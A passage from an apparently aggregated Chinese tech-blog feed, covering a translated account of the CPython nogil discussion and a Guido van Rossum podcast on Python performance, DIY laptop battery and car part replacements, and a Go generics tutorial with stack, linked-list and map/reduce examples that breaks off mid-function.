pyperformance 基准测试套上,作为概念验证的 nogil 解释器比 3.9 快 10%。据估计,在解释器的全部修改中,移除 GIL 会导致性能变慢 9%,主要是因为有偏见的引用计数和延迟引用计数。换句话说,Python 3.9 加上 nogil 的所有更改,但不移除 GIL 本身,可以快 19%。然而,这样并不能解决多核的可伸缩性问题。
顺便说一下,nogil 的一些更改,比如将 C 调用栈与 Python 调用栈解耦,已经在 Python 3.11 中实现了。事实上,我们有针对当前 main 分支的初步的基准测试 ,结果表明在单线程的性能上,Python 3.11 比 nogil 快 16%
需要有更多的基准测试,特别是使用 Larry Hastings 在对 Gilectomy 进行测试时使用的基准测试(当时基于 Python 3.5,后来移植到 3.6 alpha 1)。
Python猫注:gilectomy 是由 GIL ectomy 两个单词组合而成,ectomy 是一个医学上的术语“切除术”,可见这个项目的用意跟 nogil 是一样的!这是 5-6 年前的项目,作者曾在 PyCon 大会上做过几次分享。但这个项目反而导致 Python 总体性能下降了,最后无疾而终。

gilectomy 项目作者在 PyCon 上的分享:

2015年分享:https://www.youtube.com/watch?v=KVKufdTphKs

2016年分享:https://www.youtube.com/watch?v=P3AyI_u66Bw

2017年分享:https://www.youtube.com/watch?v=pLqv11ScGsQ

Sam 提醒我们,一个用户程序在无 GIL 的 Python 上的伸缩性实际上取决于最终的代码。如果不进行测试,就不可能预测代码在没有 GIL 的情况下表现如何。因此,如果提供一个单一的数字来说明无 GIL 的 Python 速度会提升 x 倍,这是不负责任的。

会议中向 Sam 提出的问题

为了清晰易懂,这里的问题基于会议上的内容进行了重新排序。答案是由 Sam 的回答转述而来的,并得到了他阅读草稿后的认可。要注意的是,核心团队的成员可能对其中一些主题有其它观点。

Q:有哪些可感知的风险是阻碍 nogil 项目合入到 CPython 中的?

目前的代码库已经证明了它在技术上的可行性。它可以运行,而且比普通的 CPython 解释器和 Gilectomy 项目更具有可伸缩性和好性能。我在该项目中投入了将近两年的全职工作。
这完全取决于社区对 C 扩展程序的改造程度,以确保它们不会导致解释器彻底崩溃。然后,剩下的长尾就是社区要以一种既正确又可扩展的方式在应用程序中采用自由线程。这两个是最大的挑战,但我们必须乐观应对。

Q:你打算如何改进你的工作?对 commit 次序有什么建议吗?你将如何保持你的工作与 main 分支的同步?

Sam 目前正在重构他的工作,最初是基于 3.9.0a3,将匹配 3.9.7 最终版本。这项工作的一部分是将 commit 重构为逻辑单元,以便更好地说明哪些内容需要更改(哪些地方改了,以及为什么要改)。
目前还不计划把这项工作移到 main 分支(未来的 3.11),因为这个分支太不稳定了。相比之下,3.9 有大量已发布的可通过 pip 安装的库和 C 扩展,可用于测试。这使得 Sam 能够评估该项目与真实世界的第三方代码的行为。基于 main 的修改将花费不少时间,而这些时间本可以花在改进无 GIL 的解释器上,所以,现在就基于主分支的话,还为时过早。
将工作进行分割然后再合并是可行的,但必须记住,许多更新需要在串联起来时,性能才会提升。单独而言,它们会导致(暂时的?)性能下降。
核心开发者注:我们现在不能合并对 3.9 分支所做的更改。在项目的这个阶段使用 3.9 是有意义的,但关键的是要将它分割成可消费的数据块,然后一个一个地合并到 main 分支中。一块一块地做,很有可能会损害性能,但这是唯一现实的集成途径。

Q:可以只引入寄存器 VM 和编译器而不做其它更改吗?在不改变引用计数或 GIL 的情况下使用寄存器 VM 会有什么特殊的困难吗?

VM 使用延迟/永生的引用计数。可以将其转换为只使用经典的引用计数,但最终结果的效率还不清楚(例如,出于性能考虑,堆栈上的所有对象都使用了延迟引用计数)。

Q:跟前一问相反的问题:只引入 nogil,而不使用新的寄存器 VM,会有什么困难呢?

虽然新的 VM 只提高了性能,而不是准确性,但它也提高了可伸缩性,使得无 GIL 的 Python 可以充分利用 CPU 内核而不发生争用。因此要使用 3.11 解释器也是可行的,但最好保留一些寄存器 VM 的设计思想,这对可伸缩性和线程安全很重要。这需要做大量的工作。但是将寄存器 VM 更新成跟 main 分支一样(以及修复遗留的 bug),也需要大量的工作。这两种选择都是可行的。

Q:对于那些不希望自己的代码被其它线程并行运行的 C 扩展,有什么建议么?在适应新的自由线程环境之前,难道不需要 CPython 给它们提供一些 API 来弥补差距吗?

这需要花时间。目标是渐进式采纳,最终推广至大多数 C 扩展。GIL 可以作为解释器启动时的一个选项。如果没有启用 GIL,并且 C 扩展不支持新的操作模式,可能就要产生告警或者不让其导入。Python 社区不得不适配 C 扩展,让它们适应无 GIL 的模式。
作为概念验证的 nogil 项目,默认使用无 GIL 模式,并接受任何 C 扩展。如果它被 CPython 采用了,那么在开始时默认应该启用 GIL(要求在启动 Python 时使用 -X nogil 禁用 GIL),以便让第三方库做适配。然后,在发布几个版本后,默认值再切换成无 GIL 的模式。
虽然要移植全部东西并不容易(并行是很难的),但在多数情况下,移植并不会很难,特别是对于封装外部库的 C 扩展来说。
核心开发者注:有大量的“暗物质” Python 代码(和 C 扩展)不是开源的。我们需要小心不去破坏它们,因为它们的用户可能无法做出所需的更改,或者向上游报告问题给我们。特别地,有些 C 扩展使用 GIL 来保护它们自己的内部状态。这是一个很大的担忧,可能是采用无 GIL Python 的一个很大的障碍。

Q:你会添加一个 PEP-489 的“插槽”么,以便 C 扩展用来表示其支持 nogil,这样当遇到不支持 nogil 的库时,就不让它导入?

很多人也提过,这可能是一个好主意,但我不完全清楚这意味着什么。选择无 GIL 模式并不能保证没有 bug。相反,在默认情况下,我们运行所有的扩展(现在的 nogil 就是这么做的)。不兼容的扩展可以使用 PyInit 模块的代码,主动地询问解释器是否启用了 GIL,如果不兼容的话,就在导入时产生警告甚至异常。

Q:在运行期启用 nogil 是一项长期可行的选择,还是过渡性的功能呢?

理想的结局是 CPython 不再有 GIL,句号。然而,预计将有一个漫长的社区适应期。我们希望避免从 Python2 到 Python3 过渡时的断裂。准确地说,我们希望过渡得越平滑越好,即使这意味着需要延展更长的时间。

Q: 确认一下,最终状态是只有 nogil,并且不支持再开启 GIL 么?

目前我们还不确定。理想的结局是只存在一个无 GIL 的 Python,但尚不清楚这能否实现。

Q:如果这些特性标志会持续很长一段时间,这是否意味着我们需要大幅增加测试矩阵?

是的,测试矩阵需要加倍。然而,测试无 GIL 版本可能是判断经典的 GIL 版本是否有效的一个很好的预测器。有必要偶尔(每晚?)运行启用了 GIL 的测试。
核心开发者注:如果不做测试,代码将加速退化。在 CPython 中,由于需要运行时间(例如测试引用泄漏时),我们不会在每次更改时都运行所有测试,但如果有更改导致每日测试失败,我们会立即回退更改,因为在已经失败的构建点之后,很可能会出现其它的回归问题。

Q:你认为多个 Python 解释器并行运行,每个解释器一个 GIL 怎么样?

Python猫注:给大家科普一下这个问题的背景,PEP-554 提议实现多解释器来解决 GIL 的问题。这是在 2017 年提出的,受到挺多关注。在 2019 年时,我曾翻译过《Has the Python GIL been slain?》介绍它。但是,目前该提案依然是草稿状态,具体的开发情况不甚明朗。
跟无 GIL 提案相比,这既是互补的,又是相互竞争的。在无 GIL 解释器中也可以支持副解释器。
目前还不清楚多解释器方案能否实现。有了 nogil,就不需要担心跨线程共享对象,也不需要担心 C 扩展的兼容性,因为有了多解释器,就没有任何状态是真正全局的,因此需要特别地隔离。对于可变对象,在多解释器之间传递时,需要某种形式的序列化/反序列化。对于不可变对象,解释器可能会添加特殊的支持,但如果它们不是已知的不可变的内置类型,用户代码就需要适配这些对象。这是从 PyTorch 的相关工作中得到的启发,它使用了某种形式的多解释器。
由于我最感兴趣的用例实际上是科学数据(PyTorch 训练工作流),直接而有效地共享数据的能力对多线程性能至关重要。如果采用多解释器,这种共享只能在 C 扩展级别上开启,与无 GIL 的 Python 相比,将导致更多使用 C/C++ 代码。

Q:你已经详细介绍了字典和列表的实现。其它可变类型例如队列、集合、数组等等,是如何实现的呢?

nogil 是一个开发中的项目。由于字典和列表在解释器的内部运作中很普遍,所以它们的开发最多。同样地,队列的开发已经完成,但其它类型还没有。集合是下一个要覆盖的重要内容。
队列非常重要,因为它被concurrent.futuresasyncio 用于并发线程之间的通信。队列比字典和列表简单,它使用细粒度的锁而不是无锁读取。其它的对象很可能需要组合使用。
这项工作很棘手,因为在获取和释放锁时需要小心,例如 Py_DECREFs 是可重入的。还可以考虑使用更“粗粒度”的锁,但当然了,这些锁都有死锁的风险。

Q:nogil 有多依赖 mimalloc? 如果我们把它作为一个编译期选项,可以用或不用它,那么使用平台的 malloc 来代替没有 C 预处理器地狱的低性能构建是否可行?

mimalloc 不仅仅是用于线程安全。它对于启用字典的无锁读取是必要的,还支持高效的 GC 追踪。
mimalloc 的维护者对显式地支持 CPython 很感兴趣,并且乐意为实现这一点进行必要的更改。
其它实现的 malloc 据说也稳定支持 CPython:在 Facebook 中使用的jemalloc,在谷歌中使用tcmalloc,尽管集成得较少,更像是默认分配器的简单替换。(Python猫注:前文提到的 mimalloc 是微软的)
核心开发者注:Christian Heimes 和 Pablo Galindo Salgado 正在评估 CPython 使用 mimalloc。早期测试在平均上(几何平均数)没有性能衰退,大多数基准测试做得更好,少数基准测试做得稍微差一些。还有一些待评估的问题:
  • mimalloc 的 API 和 ABI 的稳定性;
  • 授权许可;
  • 跨所有 CPython 支持的平台的可移植性,例如 stdatomic.h 仅在 C11 中可用;
  • 集成分析和检测工具(Valgrind、asan、ubsan 等等);
  • 可能还有其它。

Q:你的项目和 Larry 的 Gilectomy 有什么相似之处?你能利用他的项目吗?

在顶层设计上,两个项目是相似的:延迟引用计数,细粒度锁,关于返回借用的引用的挑战。没有复用 Gilectomy 的代码。

Q:你说你的项目在顶层上类似于 Larry 的 Gilectomy。他的项目也是基于延迟引用计数。然而,他在 Gilectomy 上只得到了性能下降的结果,而你的“nogil”却有很好的性能表现。你认为这种差异是怎么回事?

切换到基于寄存器的编译器和其它优化,比如由 mimalloc 提供的无锁的字典读取,以及使用延迟引用计数来避免争用,对 nogil 的扩展性和性能都至关重要。而且,在某些情况下,Python 本身变得更快了。例如, Python 3.9 中的函数调用比 Python 3.5 的要快得多。
让它支持扩展,肯定比预期要花更多的工作。

Q:有没有可能在无 GIL 模式中加入一个(不兼容的) C 扩展或剔除它吗?

顾名思义,GIL 就是一个全局锁。为了保护任意一段共享数据,它需要在所有线程上开启,包括不兼容的扩展所处的线程。
在已经运行的进程中,将无 GIL 的解释器切换为使用 GIL 的解释器是很棘手的(反之亦然)。最好的做法是在启动时选择:要么在进程中启用 GIL,要么不启用。如果 C 扩展没有标记为兼容,就引发警告或无法导入。
或者,当访问 C 扩展时,也可以“stop the world”,但这与移除 GIL 而所想达成的目的不符。
核心开发者注:到目前为止,还有其它的想法需要深入探讨。有种想法是将 GIL 转换为“单写多读”锁。在这种情况下,无 GIL 的模式将获取“多读”锁,也就是说,不会阻塞其它新代码做同样的事情。而历史遗留的代码将获得一个“单写”锁,阻塞其它所有线程执行,直到锁释放。这种设计需要保留获取/释放 GIL 的 api,nogil 已经这样做了,为了告知 GC 一个线程被阻塞在 I/O 上。

Q:有没有可能将函数标记为非线程安全的(比如使用装饰器),并让 nogil 在运行代码时加锁,以防止其它线程调用它?(有点像临时的 GIL)

如果担心的是状态被其它线程访问,则需要锁定每一次访问。这在装饰器层面上不是特别可行。正如之前说过,条件性地为不安全的代码开启 GIL 是很难实现的。

Q:用你自己的锁代替 GIL 会很困难。使用 nogil,你认为与线程相关的问题会增加么?

不清楚。对于 C API 扩展,至少有一种好的设计模式:它们通常有类似的结构,并在单个结构中保持共享状态。目前,Pybind11 看起来与这个模式距离最远,因此用它编写的 C 扩展可能需要进行大量更改。
许多复杂的 C 扩展已经不得不处理锁和多线程,因为它们的目的是尽可能多地释放 GIL,比如 numpy。所以,也许令人惊讶的是,那些项目可能更容易迁移。

下一步工作

在这次会议之后,核心开发者们讨论了将 nogil 纳入主项目的可行性,以及这对社区意味着什么。毫无疑问,这种程度的改变必须非常小心。
在作出决定之前,我们觉得先引入它的一些代码更为可行。特别地,mimalloc 看起来很有趣,已经有一个 open 的 pull 请求,旨在探索引入它。在那里可以找到基准测试的链接。
在个人层面上,我们对 Sam 所做的工作印象深刻,并邀请他加入 CPython 项目。我很高兴地告诉大家,他对此很感兴趣,为了帮助他成为一名核心开发者,我将为他提供指导。Guido 和 Neil Schemenauer 将帮我检视我不熟悉的解释器部分的代码。

November 14, 2021 12:00 AM

October 30, 2021

pythoncat

与 Python 之父聊天:更快的 Python!

在今年 5 月的 Python 语言峰会上,Guido van Rossum 作了一场《Making CPython Faster》的分享(材料在此),宣告他加入了激动人心的“香农计划”,旨在 4 年内提升 Python 性能至 5 倍。近日,Guido 上了一档英文播客节目(时长 30 分钟),谈论了他正在做的与高性能相关的工作,解答了几个问题。播客作者整理了一份内容纪要,本文是对该纪要的翻译。注:文末有音频及文稿下载
作者:Software at Scale
译者:豌豆花下猫@Python猫

1、为什么你会对研究 Python 的性能感兴趣?

Guido:在某种意义上,它对我来说是一个相对舒服的话题,因为这意味着与 Python 的核心打交道,而我对这方面还算熟悉。当我在微软工作时,我曾短暂地关注过 Azure,但我意识到我在谷歌或 Dropbox 时就不喜欢这类工作。然后我关注了机器学习,但这需要花很多时间来做一些与 Python 无关的事情,甚至它与 Python 相关的部分就很少。

2、Mark Shannon 关于 Python 性能的那些想法有何不同,怎么能说服你去实现它们的呢?

Guido:我喜欢他思考问题的方式。大多数其它聚焦于 Python 性能的方法,如 PyPy 和 Cinder,并不适用于所有的使用场景,因为它们不能向后兼容扩展模块。Mark 具有 CPython 开发者的视角和经验,并且有一种可行的方法来维持向后兼容性,这是最难解决的问题。Python 的字节码解释器经常要在小版本之间(例如 3.8→3.9)进行修改,原因有很多,比如新的操作码,所以修改它是一种相对安全的方案。

3、你能给我们解释一下 Python 解释器的分层执行的概念么?

Guido:当执行一个程序时,你不知道它会在运行了几分之一毫秒后崩溃,还是会持续运行三周时间。因为对于同一份代码,在第一种情况下,它可能触发了一个 bug。如果运行程序需要三周时间,也许提前半小时优化所有待运行的代码是有意义的。
但很明显,特别是在像 Python 这样的动态语言中,我们尽可能多地做,而不要求用户告诉我们他们到底需要怎么做,你只是想尽快开始执行代码。所以,如果有一个小脚本,或者一个大程序,它碰巧执行失败了或者因为某些原因提前退出了,你就不用花费时间去优化全部的代码了。
所以,我们要做的就是保持字节码编译器的简单化,以便能尽快地开始执行代码。如果有某些函数被多次执行,那么我们就称其为 hot 函数。“hot”存在多种定义。在某些情况下,如果一个函数被调用超过一次,或者超过两次,或者超过 10 次,那么它被定义成一个热门函数。而在其它保守的情况下,你可能说“只有被调用 1000 次才算 hot”。
然后,当参数的类型是某些特定类型时,专门化的自适应编译器(PEP-659 Specializing Adaptive Compiler)会尝试用更快的字节码来替换某些字节码。一个简单的假想的例子是 Python 中的加号运算符,它可以令很多对象相加,比如整数、字符串、列表,甚至元组。但是,你不能将整数与字符串相加。
因此,优化的方法就是提供一个单独的“两个整数相加”的字节码,它是一个对用户隐藏的第二层字节码。(“优化”通常被称为加速 quickening,但一般在我们的语境中,我们称之为专门化 specializing)。这个操作码假设它的两个参数都是真正的 Python 整型对象,直接读取这些对象的值,并在机器寄存器中将这些值相加,最后将结果推回堆栈。
两个整数相加的操作仍然需要对参数进行类型检查。因此,它不是完全不受约束的,但这种类型检查相比于完全泛化的面向对象的加号操作,前者在实现上要快得多。
最后,有可能一个函数被整型参数调用了数百万次,然后突然一小段代码用浮点型参数调用它,或者出现更糟的情况。此时,解释器会直接执行原始的字节码。这是一个重要的部分,让你始终能得到完整的 Python 语义。
Python猫注:“香农计划”的最终目标是将解释器的执行过程分层,并对不同层做出定制的优化。详情请查阅 Github 项目的介绍

4、通常你会在谈 JIT(Just-In-Time)编译器时听到这些技术,但官方 Python 现在还没有实现

Guido:即时编译的方案有一大堆我们想要避免的情感包袱。比如,我们不清楚到底编译什么,以及什么时候编译。在程序开始执行之前,解释器将源代码编译成字节码,然后,再将字节码转换为专门的字节码。这意味着,所有的事情都在运行时的某个时刻发生,那么,哪个部分是所谓的即时(Just-In-Time)呢?
另外,人们通常认为 JIT 会自动地使所有代码变得更好。不幸的是,你通常无法真正地预测代码的性能。由于有现代的 CPU 和它们神奇的分支预测,我们已经拥有了足够的性能。例如,我们以一种本认为能够明显减少内存访问次数的方式,编写了一份代码。但是,当对它进行基准测试时,我们发现它的运行速度与旧的未优化代码一样快,因为 CPU 在没有我们任何帮助的情况下,计算出了优化的访问模式。我希望我知道现代 CPU 在分支预测和内联缓存方面做了什么,因为这就像是魔法一般。

完整内容

以上就是播客节目纪要的翻译。更多完整的对话内容,以及对话音频,我已保存好了。你如果感兴趣的话,请在 Python猫 公众号里发送数字“1030”,即可获取下载链接。

October 30, 2021 12:00 AM

October 16, 2021

anji66

联想拯救者14ISK更换电池

这回是公司配发我的笔记本电脑坏了,莫名其妙电池就不能正常供电了,可能不小心在哪里磕了碰了,造成电池损坏,不得已只能申报维修,而我们公司是没有配备网管的,大的网络工程和硬件维护都是外包出去的,IT部部门经理是我兼任的,先看看自己能不能修,能秀就自己动手,不能修到时候再报外修。


▼先看铭牌,联想拯救者14ISK

01.jpg


▼拆D壳,圆圈中的6个螺丝拆掉

02.jpg


▼D壳往后一拉,前方卡扣就脱离了

03.jpg


▼拆开后全貌,尽是灰尘

04.jpg


▼看下电池型号及电压信息

05.jpg


▼要拆电池,发现电池左边两个压脚被压在机械硬盘的支架压脚下面了,先拆硬盘

06.jpg


▼拆掉硬盘后,把电池的几个固定螺丝拆除,就可以掀起电池了

07.jpg


▼拆小电源线插头,忘后抠,用点巧劲

08.jpg


▼然后把电池整个取下,由于无法知道哪两根是正负极,只能万用表调DC20V档位,两两一对测试,所有结果都无电压输出,说明电芯损坏。

09.jpg


▼某东买一块同型号的电池,链接在此,有需要的可以下单,最后装上电池,顺道清理下灰尘,完工。

10.jpg


by 西枫里 at October 16, 2021 08:43 AM

September 05, 2021

anji66

冷车打火喘抖怎么办?倒车灯倒车雷达影像没反应怎么办?

3月份出差在客户处着车后莫名自己熄火,此后陆续早上出门发动机怠速不稳,冷车启动的时候喘抖,转速表上窜下跳的。到4月份的时候竟然发动机故障灯还亮了,就去了修车店顺带着去做保养,修理店读OBD故障码,显示的是燃油喷射过浓。修车小哥说可能是加了劣质的燃油,保养之前又正好去了一个不常去的加油站,就听信了小哥清除故障码,再开一段时间再说。结果清除故障码后第二天故障灯又亮了,算了反正不影响正常行驶,直到那箱油开完,换了第二箱又第三箱油,发动机故障灯自己又灭了,早上冷车启动喘抖的问题一直都在。


老病未除,又添新疾,最近发现倒车的时候,雷达时断时续,倒车灯和倒车影像也和雷达同步时断时续。没办法,喘抖大不了把我扔半路,倒车灯不亮存在安全隐患,到了必修不可的地步了。


一、先判断倒车灯倒车雷达的问题

倒车灯、雷达、影像三者都是同步断开同步启动,可以排除是三个配件坏了,最大的可能是在线路上,很像线路接触不良,最开始怀疑是我自己装的倒车影像线路由问题,这是当初自己换影像摄像头的博文链接。但是仔细一想不对啊,如果我自己换的这个影像线路有问题,那倒车雷达和倒车灯应该不受影响才对。那就是整个倒车线路有问题,倒车整车线路在底盘上走线,要拆开检查动静就太大了,并且线路是有绝缘电工胶布缠绕的,损坏的可能性不大,先搁置待查,再往前追溯,可能是保险丝烧了,也不对,如果保险丝烧了就彻底凉了,不会跟接触不良一样的效果,最后只能是最前段的倒车开关了,这里需要一点常识,因为倒车的原理是当行车电脑获取到倒档信号后启动雷达、影像、倒车灯的,自动挡的基本直接集成在档杆位置了,而手动挡的车很多是集成在变速器上面的。当然百度一搜一大堆倒车开关损坏的案例。得嘞,网购倒车开关配件,这是我买的某宝倒车开关链接,某东链接点击这里


二、判断一下冷车喘抖得问题

因为上次修车店帮我检查过了OBD故障码,显示的是燃油喷射过浓,当时查看这问题的时候还显示了短期燃油修正异常和长期燃油修正异常。并且我的后氧传感器电压异常。后氧传感器电压异常的问题在2017年的时候我就知道了,OBD显示数据正常跳动,如果是坏了就不会出现电压变动的情况了,那唯一的问题就是这个短期和长期燃油修正异常了。发动机燃油修正的意思就是根据当前进气量、发动机转速工况及燃油标号进行的自动浓度修正。也就是行车电脑会根据情况调整发动机燃油喷射量的自动程序,当燃油修正失灵后,一般油耗会增加。马上百度一下科鲁兹燃油修正异常,在汽车论坛里面有网友反馈更换气流计后就好了。那就简单了,百度搜索科鲁兹空气流量计,了解到安装位置后就可以网购配件了。这是我买的空气流量计的某宝链接,某东链接点击这里


三、更换空气流量计

空气流量计是装在空气滤芯盒这里的,这个非常好换,黄色卡扣扣出来,插头先拔下来,然后十字螺丝刀,两个螺丝拧下,整个气流计就拔下来了,然后新的装上,插头插上,卡扣按下去就完工了。

1.jpg

▲这个黄色卡扣抠出来,插头就能拔下了,拆的时候忘拍照了,这是新的装好后的照片


2.jpg

▲这个就是换下来的坏的空气流量计


四、更换倒车开关

倒车开关需要冷车换,发动机高温情况下别操作,容易烫到手,别问我是怎么知道的,差点烫破皮。倒车开关是装在变速箱上的,科鲁兹英朗的变速箱在方向盘这边,位置有点下,拧螺丝有点不顺手。

4.jpg

▲圈出来的位置即倒车开关


5.jpg

▲拔下插头,插头另一边有个绿色卡扣,抠上来插头就拔下了


6.jpg

▲绿色卡扣闭合的样子


7.jpg

▲绿色卡扣拔起的样子


3.jpg

▲新的倒车开关


8.jpg

▲拧下来坏的倒车开关


9.jpg

▲新的拧上,插上插头,按下绿色卡扣完工


五、总更换成本

倒车开关17元,空气流量计290元,合计307块钱,外加耗费1小时。比4S店或者修理店要便宜很多了。


by 西枫里 at September 05, 2021 05:02 AM

September 04, 2021

coolshell

Go编程模式 : 泛型编程

Go语言的1.17版本发布了,其中开始正式支持泛型了。虽然还有一些限制(比如,不能把泛型函数export),但是,可以体验了。我的这个《Go编程模式》的系列终于有了真正的泛型编程了,再也不需要使用反射或是go generation这些难用的技术了。周末的时候,我把Go 1.17下载下来,然后,体验了一下泛型编程,还是很不错的。下面,就让我们来看一下Go的泛型编程。(注:不过,如果你对泛型编程的重要性还不是很了解的话,你可以先看一下之前的这篇文章《Go编程模式:Go Generation》,然后再读一下《Go编程模式:MapReduce》)

本文是全系列中第10 / 10篇:Go编程模式

初探

我们先来看一个简单的示例:

package main

import "fmt"

func print[T any] (arr []T) {
  for _, v := range arr {
    fmt.Print(v)
    fmt.Print(" ")
  }
  fmt.Println("")
}

func main() {
  strs := []string{"Hello", "World",  "Generics"}
  decs := []float64{3.14, 1.14, 1.618, 2.718 }
  nums := []int{2,4,6,8}

  print(strs)
  print(decs)
  print(nums)
}

上面这个例子中,有一个 print() 函数,这个函数就是想输出数组的值,如果没有泛型的话,这个函数需要写出 int 版,float版,string 版,以及我们的自定义类型(struct)的版本。现在好了,有了泛型的支持后,我们可以使用 [T any] 这样的方式来声明一个泛型类型(有点像C++的 typename T),然后面都使用 T 来声明变量就好。

上面这个示例中,我们泛型的 print() 支持了三种类型的适配—— int型,float64型,和 string型。要让这段程序跑起来需要在编译行上加上 -gcflags=-G=3编译参数(这个编译参数会在1.18版上成为默认参数),如下所示:

$ go run -gcflags=-G=3 ./main.go

有了个操作以后,我们就可以写一些标准的算法了,比如,一个查找的算法

func find[T comparable] (arr []T, elem T) int {
  for i, v := range arr {
    if  v == elem {
      return i
    }
  }
  return -1
}

我们注意到,我们没有使用 [T any]的形式,而是使用 [T comparable]的形式,comparable是一个接口类型,其约束了我们的类型需要支持 == 的操作, 不然就会有类型不对的编译错误。上面的这个 find() 函数同样可以使用于 int, float64或是string类型。

从上面的这两个小程序来看,Go语言的泛型已基本可用了,只不过,还有三个问题:

  • 一个是 fmt.Printf()中的泛型类型是 %v 还不够好,不能像c++ iostream重载 >> 来获得程序自定义的输出。
  • 另外一个是,go不支持操作符重载,所以,你也很难在泛型算法中使用“泛型操作符”如:== 等
  • 最后一个是,上面的 find() 算法依赖于“数组”,对于hash-table、tree、graph、link等数据结构还要重写。也就是说,没有一个像C++ STL那样的一个泛型迭代器(这其中的一部分工作当然也需要通过重载操作符(如:++ 来实现)

不过,这个已经很好了,让我们来看一下,可以干哪些事了。

数据结构

Stack 栈

编程支持泛型最大的优势就是可以实现类型无关的数据结构了。下面,我们用Slices这个结构体来实现一个Stack的数结构。

首先,我们可以定义一个泛型的Stack

type stack [T any] []T

看上去很简单,还是 [T any] ,然后 []T 就是一个数组,接下来就是实现这个数据结构的各种方法了。下面的代码实现了 push()pop()top()len()print()这几个方法,这几个方法和 C++的STL中的 Stack很类似。(注:目前Go的泛型函数不支持 export,所以只能使用第一个字符是小写的函数名)

func (s *stack[T]) push(elem T) {
  *s = append(*s, elem)
}

func (s *stack[T]) pop() {
  if len(*s) > 0 {
    *s = (*s)[:len(*s)-1]
  } 
}
func (s *stack[T]) top() *T{
  if len(*s) > 0 {
    return &(*s)[len(*s)-1]
  } 
  return nil
}

func (s *stack[T]) len() int{
  return len(*s)
}

func (s *stack[T]) print() {
  for _, elem := range *s {
    fmt.Print(elem)
    fmt.Print(" ")
  }
  fmt.Println("")
}

上面的这个例子还是比较简单的,不过在实现的过程中,对于一个如果栈为空,那么 top()要么返回error要么返回空值,在这个地方卡了一下。因为,之前,我们返回的“空”值,要么是 int 的0,要么是 string 的 “”,然而在泛型的T下,这个值就不容易搞了。也就是说,除了类型泛型后,还需要有一些“值的泛型”(注:在C++中,如果你要用一个空栈进行 top() 操作,你会得到一个 segmentation fault),所以,这里我们返回的是一个指针,这样可以判断一下指针是否为空。

下面是如何使用这个stack的代码。

func main() {

  ss := stack[string]{}
  ss.push("Hello")
  ss.push("Hao")
  ss.push("Chen")
  ss.print()
  fmt.Printf("stack top is - %v\n", *(ss.top()))
  ss.pop()
  ss.pop()
  ss.print()

  
  ns := stack[int]{}
  ns.push(10)
  ns.push(20)
  ns.print()
  ns.pop()
  ns.print()
  *ns.top() += 1
  ns.print()
  ns.pop()
  fmt.Printf("stack top is - %v\n", ns.top())

}

 

LinkList 双向链表

下面我们再来看一个双向链表的实现。下面这个实现中实现了 这几个方法:

  • add() – 从头插入一个数据结点
  • push() – 从尾插入一个数据结点
  • del() – 删除一个结点(因为需要比较,所以使用了 compareable 的泛型)
  • print() – 从头遍历一个链表,并输出值。
type node[T comparable] struct {
  data T
  prev *node[T]
  next *node[T]
}

type list[T comparable] struct {
  head, tail *node[T]
  len int
}

func (l *list[T]) isEmpty() bool {
  return l.head == nil && l.tail == nil
}

func (l *list[T]) add(data T) {
  n := &node[T] {
    data : data,
    prev : nil,
    next : l.head,
  }
  if l.isEmpty() {
    l.head = n
    l.tail = n
  }
  l.head.prev = n
  l.head = n
}

func (l *list[T]) push(data T) { 
  n := &node[T] {
    data : data,
    prev : l.tail,
    next : nil,
  }
  if l.isEmpty() {
    l.head = n
    l.tail = n
  }
  l.tail.next = n
  l.tail = n
}

func (l *list[T]) del(data T) { 
  for p := l.head; p != nil; p = p.next {
    if data == p.data {
      
      if p == l.head {
        l.head = p.next
      }
      if p == l.tail {
        l.tail = p.prev
      }
      if p.prev != nil {
        p.prev.next = p.next
      }
      if p.next != nil {
        p.next.prev = p.prev
      }
      return 
    }
  } 
}

func (l *list[T]) print() {
  if l.isEmpty() {
    fmt.Println("the link list is empty.")
    return 
  }
  for p := l.head; p != nil; p = p.next {
    fmt.Printf("[%v] -> ", p.data)
  }
  fmt.Println("nil")
}

上面这个代码都是一些比较常规的链表操作,学过链表数据结构的同学应该都不陌生,使用的代码也不难,如下所示,都很简单,看代码就好了。

func main(){
  var l = list[int]{}
  l.add(1)
  l.add(2)
  l.push(3)
  l.push(4)
  l.add(5)
  l.print() //[5] -> [2] -> [1] -> [3] -> [4] -> nil
  l.del(5)
  l.del(1)
  l.del(4)
  l.print() //[2] -> [3] -> nil
  
}

函数式范型

接下来,我们就要来看一下我们函数式编程的三大件 map()reduce()filter() 在之前的《Go编程模式:Map-Reduce》文章中,我们可以看到要实现这样的泛型,需要用到反射,代码复杂到完全读不懂。下面来看一下真正的泛型版本。

泛型Map
func gMap[T1 any, T2 any] (arr []T1, f func(T1) T2) []T2 {
  result := make([]T2, len(arr))
  for i, elem := range arr {
    result[i] = f(elem)
  }
  return result
}

在上面的这个 map函数中我使用了两个类型 – T1T2

  • T1 – 是需要处理数据的类型
  • T2 – 是处理后的数据类型

T1T2 可以一样,也可以不一样。

我们还有一个函数参数 –  func(T1) T2 意味着,进入的是 T1 类型的,出来的是 T2 类型的。

然后,整个函数返回的是一个 []T2

好的,我们来看一下怎么使用这个map函数:

nums := []int {0,1,2,3,4,5,6,7,8,9}
squares := gMap(nums, func (elem int) int {
  return elem * elem
})
print(squares)  //0 1 4 9 16 25 36 49 64 81 

strs := []string{"Hao", "Chen", "MegaEase"}
upstrs := gMap(strs, func(s string) string  {
  return strings.ToUpper(s)
})
print(upstrs) // HAO CHEN MEGAEASE 


dict := []string{"零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"}
strs =  gMap(nums, func (elem int) string  {
  return  dict[elem]
})
print(strs) // 零 壹 贰 叁 肆 伍 陆 柒 捌 玖
泛型 Reduce

接下来,我们再来看一下我们的Reduce函数,reduce函数是把一堆数据合成一个。

func gReduce[T1 any, T2 any] (arr []T1, init T2, f func(T2, T1) T2) T2 {
  result := init
  for _, elem := range arr {
    result = f(result, elem)
  }
  return result
}

函数实现起来很简单,但是感觉不是很优雅。

  • 也是有两个类型 T1T2,前者是输出数据的类型,后者是佃出数据的类型。
  • 因为要合成一个数据,所以需要有这个数据的初始值 init,是 T2 类型
  • 而自定义函数 func(T2, T1) T2,会把这个init值传给用户,然后用户处理完后再返回出来。

下面是一个使用上的示例——求一个数组的和

nums := []int {0,1,2,3,4,5,6,7,8,9}
sum := gReduce(nums, 0, func (result, elem int) int  {
    return result + elem
})
fmt.Printf("Sum = %d \n", sum)
泛型 filter

filter函数主要是用来做过滤的,把数据中一些符合条件(filter in)或是不符合条件(filter out)的数据过滤出来,下面是相关的代码示例

func gFilter[T any] (arr []T, in bool, f func(T) bool) []T {
